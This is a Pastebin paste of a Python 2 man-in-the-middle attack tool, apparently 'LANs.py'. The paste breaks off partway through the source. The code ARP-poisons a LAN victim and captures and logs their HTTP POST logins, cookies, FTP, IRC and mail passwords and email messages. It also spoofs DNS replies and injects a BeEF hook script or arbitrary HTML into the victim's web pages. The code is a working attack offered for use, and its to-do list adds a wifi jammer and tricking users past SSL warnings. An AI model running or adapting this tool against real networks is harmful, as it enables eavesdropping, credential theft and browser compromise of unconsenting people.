opexxx

LANs.py

Jul 14th, 2014
453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 45.99 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. '''
  3. Description:   ARP poisons a LAN victim and prints all the interesting unencrypted info like usernames, passwords and messages. Asynchronous multithreaded arp spoofing packet parser.
  4. Prerequisites: Linux
  5.               nmap (optional)
  6.               nbtscan (optional)
  7.               aircrack-ng
  8.            Python 2.6+
  9.               nfqueue-bindings 0.4-3
  10.               scapy
  11.               twisted
  12.  
  13. Note:          This script flushes iptables before and after usage.
  14.  
  15. To do:         1. Rogue DHCP server
  16.            Refactor with lots of smaller functions
  17.            Mass wifi jammer
  18.            Cookie saver so you can browse using their cookies (how to use nfqueue with multiple queues?)
  19.            Add karma MITM technique
  20.            Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through
  21.            Integrate with wifite
  22.  
  23. '''
  24. __author__ = 'Dan McInerney'
  25. __license__ = 'BSD'
  26. __contact__ = 'danhmcinerney with gmail'
  27. __version__ = 1.1
  28.  
  29.  
  30. def module_check(module):
  31.    '''
  32.   Just for debian-based systems like Kali and Ubuntu
  33.   '''
  34.    ri = raw_input('[-] python-%s not installed, would you like to install now? (apt-get install -y python-%s will be run if yes) [y/n]: ' % (module, module))
  35.    if ri == 'y':
  36.       os.system('apt-get install -y python-%s' % module)
  37.    else:
  38.       exit('[-] Exiting due to missing dependency')
  39.  
  40. import os
  41. try:
  42.    import nfqueue
  43. except Exception:
  44.    module_check('nfqueue')
  45.    import nfqueue
  46. import logging
  47. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  48. try:
  49.    from scapy.all import *
  50. except Exception:
  51.    module_check('scapy')
  52.    from scapy.all import *
  53. conf.verb=0
  54. #Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server
  55. conf.checkIPaddr=0
  56. try:
  57.    from twisted.internet import reactor
  58. except Exception:
  59.    module_check('twisted')
  60.    from twisted.internet import reactor
  61. from twisted.internet.interfaces import IReadDescriptor
  62. from twisted.internet.protocol import Protocol, Factory
  63. from sys import exit
  64. from threading import Thread
  65. import argparse
  66. import signal
  67. from base64 import b64decode
  68. from subprocess import *
  69. from zlib import decompressobj, decompress
  70. import gzip
  71. from cStringIO import StringIO
  72. import requests
  73.  
  74. def parse_args():
  75.    #Create the arguments
  76.    parser = argparse.ArgumentParser()
  77.  
  78.    parser.add_argument("-b", "--beef", help="Inject a BeEF hook URL. Example usage: -b http://192.168.0.3:3000/hook.js")
  79.    parser.add_argument("-c", "--code", help="Inject arbitrary html. Example usage (include quotes): -c '<title>New title</title>'")
  80.    parser.add_argument("-u", "--urlspy", help="Show all URLs and search terms the victim visits or enters minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -v to print all URLs and without truncation.", action="store_true")
  81.    parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning which would give you a list of possible targets. Usage: -ip <victim IP>")
  82.    parser.add_argument("-vmac", "--victimmac", help="Set the victim MAC; by default the script will attempt a few different ways of getting this so this option hopefully won't be necessary")
  83.    parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
  84.    parser.add_argument("-v", "--verboseURL", help="Shows all URLs the victim visits but doesn't limit the URL to 150 characters like -u does.", action="store_true")
  85.    parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument. An argument like [facebook.com] will match all subdomains of facebook.com")
  86.    parser.add_argument("-a", "--dnsall", help="Spoof all DNS responses", action="store_true")
  87.    parser.add_argument("-set", "--setoolkit", help="Start Social Engineer's Toolkit in another window.", action="store_true")
  88.    parser.add_argument("-p", "--post", help="Print unsecured HTTP POST loads, IMAP/POP/FTP/IRC/HTTP usernames/passwords and incoming/outgoing emails. Will also decode base64 encrypted POP/IMAP username/password combos for you.", action="store_true")
  89.    parser.add_argument("-na", "--nmapaggressive", help="Aggressively scan the target for open ports and services in the background. Output to ip.add.re.ss.log.txt where ip.add.re.ss is the victim's IP.", action="store_true")
  90.    parser.add_argument("-n", "--nmap", help="Scan the target for open ports prior to starting to sniffing their packets.", action="store_true")
  91.    parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`.")
  92.    parser.add_argument("-r", "--redirectto", help="Must be used with -dns DOMAIN option. Redirects the victim to the IP in this argument when they visit the domain in the -dns DOMAIN option")
  93.    parser.add_argument("-rip", "--routerip", help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
  94.    parser.add_argument("-rmac", "--routermac", help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
  95.    parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file")
  96.  
  97.    return parser.parse_args()
  98.  
  99. #Console colors
  100. W  = '\033[0m'  # white (normal)
  101. R  = '\033[31m' # red
  102. G  = '\033[32m' # green
  103. O  = '\033[33m' # orange
  104. B  = '\033[34m' # blue
  105. P  = '\033[35m' # purple
  106. C  = '\033[36m' # cyan
  107. GR = '\033[37m' # gray
  108. T  = '\033[93m' # tan
  109.  
  110. logger = open('LANspy.log.txt', 'w+')
  111. DN = open(os.devnull, 'w')
  112.  
  113. class Spoof():
  114.    def originalMAC(self, ip):
  115.       # srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
  116.       ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
  117.       for s,r in ans:
  118.          return r.sprintf("%Ether.src%")
  119.    def poison(self, routerIP, victimIP, routerMAC, victimMAC):
  120.       send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
  121.       send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
  122.    def restore(self, routerIP, victimIP, routerMAC, victimMAC):
  123.       send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
  124.       send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
  125.  
  126. class Parser():
  127.  
  128.    # Mail, irc, post parsing
  129.    OheadersFound = []
  130.    IheadersFound = []
  131.    IMAPauth = 0
  132.    IMAPdest = ''
  133.    POPauth = 0
  134.    POPdest = ''
  135.    Cookies = []
  136.    IRCnick = ''
  137.    mail_passwds = []
  138.    oldmailack = ''
  139.    oldmailload = ''
  140.    mailfragged = 0
  141.  
  142.    # http parsing
  143.    oldHTTPack = ''
  144.    oldHTTPload = ''
  145.    HTTPfragged = 0
  146.  
  147.    # html injection
  148.    block_acks = []
  149.    html_url = ''
  150.    user_agent = None
  151.  
  152.    def __init__(self, args):
  153.       self.args = args
  154.  
  155.    def start(self, payload):
  156.       if self.args.pcap:
  157.          if self.args.ipaddress:
  158.             try:
  159.                pkt = payload[IP]
  160.             except Exception:
  161.                return
  162.       else:
  163.          try:
  164.             pkt = IP(payload.get_data())
  165.          except Exception:
  166.             return
  167.  
  168.       IP_layer = pkt[IP]
  169.       IP_dst = pkt[IP].dst
  170.       IP_src = pkt[IP].src
  171.       if self.args.urlspy or self.args.post or self.args.beef or self.args.code:
  172.          if pkt.haslayer(Raw):
  173.             if pkt.haslayer(TCP):
  174.                dport = pkt[TCP].dport
  175.                sport = pkt[TCP].sport
  176.                ack = pkt[TCP].ack
  177.                seq = pkt[TCP].seq
  178.                load = pkt[Raw].load
  179.                mail_ports = [25, 26, 110, 143]
  180.                if dport in mail_ports or sport in mail_ports:
  181.                   self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack)
  182.                if dport == 6667 or sport == 6667:
  183.                   self.irc(load, dport, sport, IP_src)
  184.                if dport == 21 or sport == 21:
  185.                   self.ftp(load, IP_dst, IP_src)
  186.                if dport == 80 or sport == 80:
  187.                   self.http_parser(load, ack, dport)
  188.                   if self.args.beef or self.args.code:
  189.                      self.injecthtml(load, ack, pkt, payload, dport, sport)
  190.       if self.args.dnsspoof or self.args.dnsall:
  191.          if pkt.haslayer(DNSQR):
  192.             dport = pkt[UDP].dport
  193.             sport = pkt[UDP].sport
  194.             if dport == 53 or sport == 53:
  195.                dns_layer = pkt[DNS]
  196.                self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, payload)
  197.  
  198.    def get_user_agent(self, header_lines):
  199.       for h in header_lines:
  200.          user_agentre = re.search('[Uu]ser-[Aa]gent: ', h)
  201.          if user_agentre:
  202.             return h.split(user_agentre.group(), 1)[1]
  203.  
  204.    def injecthtml(self, load, ack, pkt, payload, dport, sport):
  205.       for x in self.block_acks:
  206.          if ack == x:
  207.             payload.set_verdict(nfqueue.NF_DROP)
  208.             return
  209.  
  210.       ack = str(ack)
  211.       if self.args.beef:
  212.          bhtml = '<script src='+self.args.beef+'></script>'
  213.       if self.args.code:
  214.          chtml = self.args.code
  215.  
  216.       try:
  217.          headers, body = load.split("\r\n\r\n", 1)
  218.       except Exception:
  219.          headers = load
  220.          body = ''
  221.       header_lines = headers.split("\r\n")
  222.  
  223.       if dport == 80:
  224.          post = None
  225.          get = self.get_get(header_lines)
  226.          host = self.get_host(header_lines)
  227.          self.html_url = self.get_url(host, get, post)
  228.          if self.html_url:
  229.             d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
  230.             if any(i in self.html_url for i in d):
  231.                self.html_url = None
  232.                payload.set_verdict(nfqueue.NF_ACCEPT)
  233.                return
  234.          else:
  235.             payload.set_verdict(nfqueue.NF_ACCEPT)
  236.             return
  237.          if not self.get_user_agent(header_lines):
  238.             # Most common user-agent on the internet
  239.             self.user_agent = "'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'"
  240.          else:
  241.             self.user_agent = "'"+self.get_user_agent(header_lines)+"'"
  242.          payload.set_verdict(nfqueue.NF_ACCEPT)
  243.          return
  244.  
  245.       if sport == 80 and self.html_url and 'Content-Type: text/html' in headers:
  246.          # This can be done better, probably using filter(), no make them a dictionary and use del
  247.          header_lines = [x for x in header_lines if 'transfer-encoding' not in x.lower()]
  248.          for h in header_lines:
  249.             if '1.1 302' in h or '1.1 301' in h: # Allow redirects to go thru unperturbed
  250.                payload.set_verdict(nfqueue.NF_ACCEPT)
  251.                self.html_url = None
  252.                return
  253.  
  254.          UA_header = {'User-Agent':self.user_agent}
  255.          r = requests.get('http://'+self.html_url, headers=UA_header)
  256.          try:
  257.             body = r.text.encode('utf-8')
  258.          except Exception:
  259.             payload.set_verdict(nfqueue.NF_ACCEPT)
  260.  
  261.          # INJECT
  262.          if self.args.beef:
  263.             if '<html' in body or '/html>' in body:
  264.                try:
  265.                   psplit = body.split('</head>', 1)
  266.                   body = psplit[0]+bhtml+'</head>'+psplit[1]
  267.                except Exception:
  268.                   try:
  269.                      psplit = body.split('<head>', 1)
  270.                      body = psplit[0]+'<head>'+bhtml+psplit[1]
  271.                   except Exception:
  272.                      if not self.args.code:
  273.                         self.html_url = None
  274.                         payload.set_verdict(nfqueue.NF_ACCEPT)
  275.                         return
  276.                      else:
  277.                         pass
  278.          if self.args.code:
  279.             if '<html' in body or '/html>' in body:
  280.                try:
  281.                   psplit = body.split('<head>', 1)
  282.                   body = psplit[0]+'<head>'+chtml+psplit[1]
  283.                except Exception:
  284.                   try:
  285.                      psplit = body.split('</head>', 1)
  286.                      body = psplit[0]+chtml+'</head>'+psplit[1]
  287.                   except Exception:
  288.                      self.html_url = None
  289.                      payload.set_verdict(nfqueue.NF_ACCEPT)
  290.                      return
  291.  
  292.          # Recompress data if necessary
  293.          if 'Content-Encoding: gzip' in headers:
  294.             if body != '':
  295.                try:
  296.                   comp_body = StringIO()
  297.                   f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel = 9)
  298.                   f.write(body)
  299.                   f.close()
  300.                   body = comp_body.getvalue()
  301.                except Exception:
  302.                   try:
  303.                      pkt[Raw].load = headers+"\r\n\r\n"+body
  304.                      pkt[IP].len = len(str(pkt))
  305.                      del pkt[IP].chksum
  306.                      del pkt[TCP].chksum
  307.                      payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
  308.                      print '[-] Could not recompress html, sent packet as is'
  309.                      self.html_url = None
  310.                      return
  311.                   except Exception:
  312.                      self.html_url = None
  313.                      payload.set_verdict(nfqueue.NF_ACCEPT)
  314.                      return
  315.  
  316.          headers = "\r\n".join(header_lines)
  317.          pkt[Raw].load = headers+"\r\n\r\n"+body
  318.          pkt[IP].len = len(str(pkt))
  319.          del pkt[IP].chksum
  320.          del pkt[TCP].chksum
  321.          try:
  322.             payload.set_verdict(nfqueue.NF_DROP)
  323.             pkt_frags = fragment(pkt)
  324.             for p in pkt_frags:
  325.                 send(p)
  326.             print R+'[!] Injected HTML into packet for '+W+self.html_url
  327.             logger.write('[!] Injected HTML into packet for '+self.html_url)
  328.             self.block_acks.append(ack)
  329.             self.html_url = None
  330.          except Exception as e:
  331.             payload.set_verdict(nfqueue.NF_ACCEPT)
  332.             self.html_url = None
  333.             print '[-] Failed to inject packet', e
  334.             return
  335.  
  336.          if len(self.block_acks) > 30:
  337.             self.block_acks = self.block_acks[5:]
  338.  
  339.    def get_host(self, header_lines):
  340.       for l in header_lines:
  341.          searchHost = re.search('[Hh]ost: ', l)
  342.          if searchHost:
  343.             try:
  344.                return l.split('Host: ', 1)[1]
  345.             except Exception:
  346.                try:
  347.                   return l.split('host: ', 1)[1]
  348.                except Exception:
  349.                   return
  350.  
  351.    def get_get(self, header_lines):
  352.       for l in header_lines:
  353.          searchGet = re.search('GET /', l)
  354.          if searchGet:
  355.             try:
  356.                return l.split('GET ')[1].split(' ')[0]
  357.             except Exception:
  358.                return
  359.  
  360.    def get_post(self, header_lines):
  361.       for l in header_lines:
  362.          searchPost = re.search('POST /', l)
  363.          if searchPost:
  364.             try:
  365.                return l.split(' ')[1].split(' ')[0]
  366.             except Exception:
  367.                return
  368.  
  369.    def get_url(self, host, get, post):
  370.       if host:
  371.          if post:
  372.             return host+post
  373.          if get:
  374.             return host+get
  375.  
  376.    # Catch search terms
  377.    # As it stands now this has a moderately high false positive rate mostly due to the common ?s= and ?q= vars
  378.    # I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches
  379.    def searches(self, url, host):
  380.       # search, query, search?q, ?s, &q, ?q, search?p, searchTerm, keywords, command
  381.       searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
  382.       if searched:
  383.          searched = searched.group(3)
  384.          # Common false positives
  385.          if 'select%20*%20from' in searched:
  386.             pass
  387.          if host == 'geo.yahoo.com':
  388.             pass
  389.          else:
  390.             searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
  391.             print T+'[+] Searched '+W+host+T+': '+searched+W
  392.             logger.write('[+] Searched '+host+ ' for: '+searched+'\n')
  393.  
  394.    def post_parser(self, url, body, host, header_lines):
  395.       if 'ocsp' in url:
  396.          print B+'[+] POST: '+W+url
  397.          logger.write('[+] POST: '+url+'\n')
  398.       elif body != '':
  399.          try:
  400.             urlsplit = url.split('/')
  401.             url = urlsplit[0]+'/'+urlsplit[1]
  402.          except Exception:
  403.             pass
  404.          if self.HTTPfragged == 1:
  405.             print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W
  406.             logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n')
  407.          else:
  408.             print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W
  409.             logger.write('[+] POST: '+url+" HTTP POST's combined load: "+body+'\n')
  410.  
  411.          # If you see any other login/pw variable names, tell me and I'll add em in here
  412.          # As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less
  413.          # email, user, username, name, login, log, loginID
  414.          user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
  415.          # password, pass, passwd, pwd, psw, passwrd, passw
  416.          pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
  417.          username = re.findall(user_regex, body)
  418.          password = re.findall(pw_regex, body)
  419.          self.user_pass(username, password)
  420.          self.cookies(host, header_lines)
  421.  
  422.    def http_parser(self, load, ack, dport):
  423.  
  424.       load = repr(load)[1:-1]
  425.  
  426.       # Catch fragmented HTTP posts
  427.       if dport == 80 and load != '':
  428.          if ack == self.oldHTTPack:
  429.             self.oldHTTPload = self.oldHTTPload+load
  430.             load = self.oldHTTPload
  431.             self.HTTPfragged = 1
  432.          else:
  433.             self.oldHTTPload = load
  434.             self.oldHTTPack = ack
  435.             self.HTTPfragged = 0
  436.       try:
  437.          headers, body = load.split(r"\r\n\r\n", 1)
  438.       except Exception:
  439.          headers = load
  440.          body = ''
  441.       header_lines = headers.split(r"\r\n")
  442.  
  443.       host = self.get_host(header_lines)
  444.       get = self.get_get(header_lines)
  445.       post = self.get_post(header_lines)
  446.       url = self.get_url(host, get, post)
  447.  
  448.       # print urls
  449.       if url:
  450.          #Print the URL
  451.          if self.args.verboseURL:
  452.             print '[*] '+url
  453.             logger.write('[*] '+url+'\n')
  454.  
  455.          if self.args.urlspy:
  456.             d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
  457.             if any(i in url for i in d):
  458.                return
  459.             if len(url) > 146:
  460.                print '[*] '+url[:145]
  461.                logger.write('[*] '+url[:145]+'\n')
  462.             else:
  463.                print '[*] '+url
  464.                logger.write('[*] '+url+'\n')
  465.  
  466.          # Print search terms
  467.          if self.args.post or self.args.urlspy:
  468.             self.searches(url, host)
  469.  
  470.          #Print POST load and find cookies
  471.          if self.args.post and post:
  472.             self.post_parser(url, body, host, header_lines)
  473.  
  474.    def ftp(self, load, IP_dst, IP_src):
  475.       load = repr(load)[1:-1].replace(r"\r\n", "")
  476.       if 'USER ' in load:
  477.          print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
  478.          logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
  479.       if 'PASS ' in load:
  480.          print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
  481.          logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
  482.       if 'authentication failed' in load:
  483.          print R+'[*] FTP '+load+W
  484.          logger.write('[*] FTP '+load+'\n')
  485.  
  486.    def irc(self, load, dport, sport, IP_src):
  487.          load = repr(load)[1:-1].split(r"\r\n")
  488.          if self.args.post:
  489.             if IP_src == victimIP:
  490.                if 'NICK ' in load[0]:
  491.                   self.IRCnick = load[0].split('NICK ')[1]
  492.                   server = load[1].replace('USER user user ', '').replace(' :user', '')
  493.                   print R+'[!] IRC username: '+self.IRCnick+' on '+server+W
  494.                   logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n')
  495.                if 'NS IDENTIFY ' in load[0]:
  496.                   ircpass = load[0].split('NS IDENTIFY ')[1]
  497.                   print R+'[!] IRC password: '+ircpass+W
  498.                   logger.write('[!] IRC password: '+ircpass+'\n')
  499.                if 'JOIN ' in load[0]:
  500.                   join = load[0].split('JOIN ')[1]
  501.                   print C+'[+] IRC joined: '+W+join
  502.                   logger.write('[+] IRC joined: '+join+'\n')
  503.                if 'PART ' in load[0]:
  504.                   part = load[0].split('PART ')[1]
  505.                   print C+'[+] IRC left: '+W+part
  506.                   logger.write('[+] IRC left: '+part+'\n')
  507.                if 'QUIT ' in load[0]:
  508.                   quit = load[0].split('QUIT :')[1]
  509.                   print C+'[+] IRC quit: '+W+quit
  510.                   logger.write('[+] IRC quit: '+quit+'\n')
  511.             # Catch messages from the victim to an IRC channel
  512.             if 'PRIVMSG ' in load[0]:
  513.                if IP_src == victimIP:
  514.                   load = load[0].split('PRIVMSG ')[1]
  515.                   channel = load.split(' :', 1)[0]
  516.                   ircmsg = load.split(' :', 1)[1]
  517.                   if self.IRCnick != '':
  518.                      print C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W
  519.                      logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n')
  520.                   else:
  521.                      print C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W
  522.                      logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n')
  523.                # Catch messages from others that tag the victim's nick
  524.                elif self.IRCnick in load[0] and self.IRCnick != '':
  525.                   sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
  526.                   try:
  527.                      load = load[0].split('PRIVMSG ')[1].split(' :', 1)
  528.                      channel = load[0]
  529.                      ircmsg = load[1]
  530.                      print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W
  531.                      logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n')
  532.                   except Exception:
  533.                      return
  534.  
  535.    def cookies(self, host, header_lines):
  536.       for x in header_lines:
  537.          if 'Cookie:' in x:
  538.             if x in self.Cookies:
  539.                return
  540.             elif 'safebrowsing.clients.google.com' in host:
  541.                return
  542.             else:
  543.                self.Cookies.append(x)
  544.             print P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W
  545.             logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n')
  546.  
  547.    def user_pass(self, username, password):
  548.       if username:
  549.          for u in username:
  550.             print R+'[!] Username found: '+u[1]+W
  551.             logger.write('[!] Username: '+u[1]+'\n')
  552.       if password:
  553.          for p in password:
  554.             if p[1] != '':
  555.                print R+'[!] Password: '+p[1]+W
  556.                logger.write('[!] Password: '+p[1]+'\n')
  557.  
  558.    def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
  559.       load = repr(load)[1:-1]
  560.       # Catch fragmented mail packets
  561.       if ack == self.oldmailack:
  562.          if load != r'.\r\n':
  563.             self.oldmailload = self.oldmailload+load
  564.             load = self.oldmailload
  565.             self.mailfragged = 1
  566.       else:
  567.          self.oldmailload = load
  568.          self.oldmailack = ack
  569.          self.mailfragged = 0
  570.  
  571.       try:
  572.          headers, body = load.split(r"\r\n\r\n", 1)
  573.       except Exception:
  574.          headers = load
  575.          body = ''
  576.       header_lines = headers.split(r"\r\n")
  577.       email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
  578.  
  579.       # Find passwords
  580.       if dport in [25, 26, 110, 143]:
  581.          self.passwords(IP_src, load, dport, IP_dst)
  582.       # Find outgoing messages
  583.       if dport == 26 or dport == 25:
  584.          self.outgoing(load, body, header_lines, email_headers, IP_src)
  585.       # Find incoming messages
  586.       if sport in [110, 143]:
  587.          self.incoming(headers, body, header_lines, email_headers, sport, dport)
  588.  
  589.    def passwords(self, IP_src, load, dport, IP_dst):
  590.       load = load.replace(r'\r\n', '')
  591.       if dport == 143 and IP_src == victimIP and len(load) > 15:
  592.          if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
  593.             # Don't double output mail passwords
  594.             for x in self.mail_passwds:
  595.                if load in x:
  596.                   self.IMAPauth = 0
  597.                   self.IMAPdest = ''
  598.                   return
  599.             print R+'[!] IMAP user and pass found: '+load+W
  600.             logger.write('[!] IMAP user and pass found: '+load+'\n')
  601.             self.mail_passwds.append(load)
  602.             self.decode(load, dport)
  603.             self.IMAPauth = 0
  604.             self.IMAPdest = ''
  605.          if "authenticate plain" in load:
  606.             self.IMAPauth = 1
  607.             self.IMAPdest = IP_dst
  608.       if dport == 110 and IP_src == victimIP:
  609.          if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
  610.             # Don't double output mail passwords
  611.             for x in self.mail_passwds:
  612.                if load in x:
  613.                   self.POPauth = 0
  614.                   self.POPdest = ''
  615.                   return
  616.             print R+'[!] POP user and pass found: '+load+W
  617.             logger.write('[!] POP user and pass found: '+load+'\n')
  618.             self.mail_passwds.append(load)
  619.             self.decode(load, dport)
  620.             self.POPauth = 0
  621.             self.POPdest = ''
  622.          if 'AUTH PLAIN' in load:
  623.             self.POPauth = 1
  624.             self.POPdest = IP_dst
  625.       if dport == 26:
  626.          if 'AUTH PLAIN ' in load:
  627.             # Don't double output mail passwords
  628.             for x in self.mail_passwds:
  629.                if load in x:
  630.                   self.POPauth = 0
  631.                   self.POPdest = ''
  632.                   return
  633.             print R+'[!] Mail authentication found: '+load+W
  634.             logger.write('[!] Mail authentication found: '+load+'\n')
  635.             self.mail_passwds.append(load)
  636.             self.decode(load, dport)
  637.  
  638.    def outgoing(self, headers, body, header_lines, email_headers, IP_src):
  639.       if 'Message-ID' in headers:
  640.          for l in header_lines:
  641.             for x in email_headers:
  642.                if x in l:
  643.                   self.OheadersFound.append(l)
  644.          # if date, from, to, in headers then print the message
  645.          if len(self.OheadersFound) > 3 and body != '':
  646.             if self.mailfragged == 1:
  647.                print O+'[!] OUTGOING MESSAGE (fragmented)'+W
  648.                logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
  649.                for x in self.OheadersFound:
  650.                   print O+'   ',x+W
  651.                   logger.write(' '+x+'\n')
  652.                print O+'   Message:',body+W
  653.                logger.write(' Message:'+body+'\n')
  654.             else:
  655.                print O+'[!] OUTGOING MESSAGE'+W
  656.                logger.write('[!] OUTGOING MESSAGE\n')
  657.                for x in self.OheadersFound:
  658.                   print O+'   ',x+W
  659.                   logger.write(' '+x+'\n')
  660.                print O+'   Message:',body+W
  661.                logger.write(' Message:'+body+'\n')
  662.  
  663.       self.OheadersFound = []
  664.  
  665.    def incoming(self, headers, body, header_lines, email_headers, sport, dport):
  666.       message = ''
  667.       for l in header_lines:
  668.          for x in email_headers:
  669.             if x in l:
  670.                self.IheadersFound.append(l)
  671.       if len(self.IheadersFound) > 3 and body != '':
  672.          if "BODY[TEXT]" not in body:
  673.             try:
  674.                beginning = body.split(r"\r\n", 1)[0]
  675.                body1 = body.split(r"\r\n\r\n", 1)[1]
  676.                message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
  677.             except Exception:
  678.                return
  679.          if message != '':
  680.             if self.mailfragged == 1:
  681.                print O+'[!] INCOMING MESSAGE (fragmented)'+W
  682.                logger.write('[!] INCOMING MESSAGE (fragmented)\n')
  683.                for x in self.IheadersFound:
  684.                   print O+'   '+x+W
  685.                   logger.write(' '+x+'\n')
  686.                print O+'   Message: '+message+W
  687.                logger.write(' Message: '+message+'\n')
  688.             else:
  689.                print O+'[!] INCOMING MESSAGE'+W
  690.                logger.write('[!] INCOMING MESSAGE\n')
  691.                for x in self.IheadersFound:
  692.                   print O+'   '+x+W
  693.                   logger.write(' '+x+'\n')
  694.                print O+'   Message: '+message+W
  695.                logger.write(' Message: '+message+'\n')
  696.       self.IheadersFound = []
  697.  
  698.    def decode(self, load, dport):
  699.       decoded = ''
  700.       if dport == 25 or dport == 26:
  701.          try:
  702.             b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
  703.             decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
  704.          except Exception:
  705.             pass
  706.       else:
  707.          try:
  708.             b64str = load
  709.             decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
  710.          except Exception:
  711.             pass
  712.       # Test to see if decode worked
  713.       if '@' in decoded:
  714.          print R+'[!] Decoded:'+decoded+W
  715.          logger.write('[!] Decoded:'+decoded+'\n')
  716.  
  717.    # Spoof DNS for a specific domain to point to your machine
  718.    def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, payload):
  719.       localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
  720.       if self.args.dnsspoof:
  721.          if self.args.dnsspoof in dns_layer.qd.qname and not self.args.redirectto:
  722.             self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
  723.          elif self.args.dnsspoof in dns_layer.qd.qname and self.args.redirectto:
  724.             self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
  725.       elif self.args.dnsall:
  726.          if self.args.redirectto:
  727.             self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
  728.          else:
  729.             self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
  730.  
  731.  
  732.    def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP):
  733.       p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=rIP))
  734.       payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(p), len(p))
  735.       if self.args.dnsspoof:
  736.          print G+'[!] Sent spoofed packet for '+W+self.args.dnsspoof+G+' to '+W+rIP
  737.          logger.write('[!] Sent spoofed packet for '+self.args.dnsspoof+G+' to '+rIP+'\n')
  738.       elif self.args.dnsall:
  739.          print G+'[!] Sent spoofed packet for '+W+dns_layer[DNSQR].qname[:-1]+G+' to '+W+rIP
  740.          logger.write('[!] Sent spoofed packet for '+dns_layer[DNSQR].qname[:-1]+' to '+rIP+'\n')
  741.  
  742.  
  743. #Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
  744. class Queued(object):
  745.    def __init__(self, args):
